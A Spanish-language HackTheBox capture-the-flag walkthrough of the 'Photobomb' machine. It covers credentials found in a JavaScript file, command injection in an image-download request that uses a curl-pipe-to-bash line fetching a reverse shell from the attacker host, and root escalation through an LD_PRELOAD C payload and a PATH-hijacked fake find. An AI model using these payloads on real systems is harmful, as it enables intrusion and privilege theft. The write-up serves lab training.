Photobomb - HackTheBox
🤖Máquina Linux de nivel Easy en la que encontraremos unas credenciales de acceso a un panel web de descarga de imágenes ocultas en archivo javascript, a través de burpsuite podremos obtener un reverse shell y escalaremos privilegios de 2 formas diferentes, a través del script cleanup.sh creando un falso binario y a través de LD_PRELOAD, creando el script en C.
Reconocimiento
Reconocimiento de Puertos🔍
Como siempre comenzamos lanzando Whichsystem para averiguar ante que sistema operativo nos enfrentamos, recordar que Whichsytem es una utilidad desarrollada en python por S4vitar que nos permite detectar el sistema operativo de una máquina por su TTL (Time To Live).
# Windows --> TTL 128
---------------------
# Linux --> TTL 64
Una vez sabemos que nos enfrentamos ante una máquina Linux procedo a enumerar los puertos existentes en la máquina.
Tenemos lo siguiente:
Puerto | Servicio | Versión |
22 | SSH | OpenSSH 8.2p1 |
80 | HTTP | nginx 1.18.0 |
Dominio photobomb.htb
Añado el dominio al archivo /etc/hosts.
Enumeración
Analizando la Web📌
Lanzo la utilidad Whatweb para identificar el sitio web, sus tecnologías web, versiones, sistemas CMS... etc
Nos arroja la información del servidor web, servicio, versión, título... etc
Así que ahora voy a acceder al mismo para ver que tenemos.
Parece una web dedicada a la venta de imágenes de alta calidad.
Además de eso nos dice que las credenciales se encuentran en mi paquete de bienvenida.
Y nos dice también que si tenemos algún problema con la impresora que contactemos con el número de soporte.
Si hacemos click sobre click here
nos aparece un login, pero no tenemos credenciales.
Mirando el código fuente veo que hay un archivo javascript llamado photobomb.js.
Lo abro y encuentro unas credenciales.
pH0t0 : b0Mb!
Me autentico con las credenciales y funciona, accedo a la ruta /printer.
Dentro hay imágenes en diferentes resoluciones que podemos descargar.
Explotación
Burpsuite🔥
Se me ocurre abrir Burpsuite e interceptar la petición al hacer click en descargar la imagen.
Tenemos la petición con el nombre de la imagen, la extensión de la imagen y sus dimensiones.
Podría intentar introducir comandos para obtener una reverse shell, así que mando la petición al repeater.
Creo una reverse shell en bash en mi máquina atacante.
Lanzo un servidor de python3.
Y desde el Burpsuite inyecto el siguiente comando.
python3 -m http.server 8080
curl+http://10.10.15.17:8080/rev-bash.sh+|bash+
Ponemos netcat en escucha en el puerto 443 y hacemos click en send.
Y ya estamos dentro como el usuario Wizard y podemos leer la flag user.txt
La shell no es muy interactiva por lo que ejecuto los siguientes comandos para poder conectarme a través de ssh y terner una shell mejor.
Cambio el nombre de la clave publica a authorized_keys.
Me copio la clave privada a mi máquina atacante a un archivo (elc4br4.rsa)
Le asigno los permisos necesarios y me conecto por ssh con la clave rsa.
Ejecutamos estos comandos para tener la shell interactiva 100x100.
export TERM=xterm
export SHELL=bash
Y ya podemos escalar privilegios.
Escalada de Privilegios
Primeramente como siempre enumeramos para encontrar vectores de escalada y como siempre comienzo por sudo -l
Partiendo de aquí existen 2 formas de escalar privilegios.
Variable LD_PRELOAD👨💻
LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload.
Para poder escalar debemos crear un script en C con el siguiente contenido.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init()
{
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/usr/bin/bash");
}
Una vez creado lo compilamos con el comando:
gcc -fPIC -shared -o escalada.so shell.c -nostartfiles
Y lo subimos la máquina víctima.
Una vez lo hemos subido lo ejecutamos.
chmod 777 escalada.so
sudo LD_PRELOAD=/tmp/escalada.so /opt/cleanup.sh
Script /opt/cleanup.sh👨💻
Si leemos el código del script veremos lo siguiente:
Si nos fijamos bien el binario find no especifica su ruta absoluta, por lo que podríamos escalar privilegios creando un binario find falso y añadiéndole una bash en su interior, posteriormente lo exportamos al PATH de forma que al ejecutar el script cleanup.sh como root se ejecutará nuestro binario falso con el contenido de su interior.
Creamos el falso find
Lo exportamos al PATH.
# Asiganos los permisos al binario falso
chmod 777 find
-----------------------------------------
# Exportamos el binario al path
sudo PATH=/tmp/:$PATH /opt/cleanup.sh
Y ya somos root!!!
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student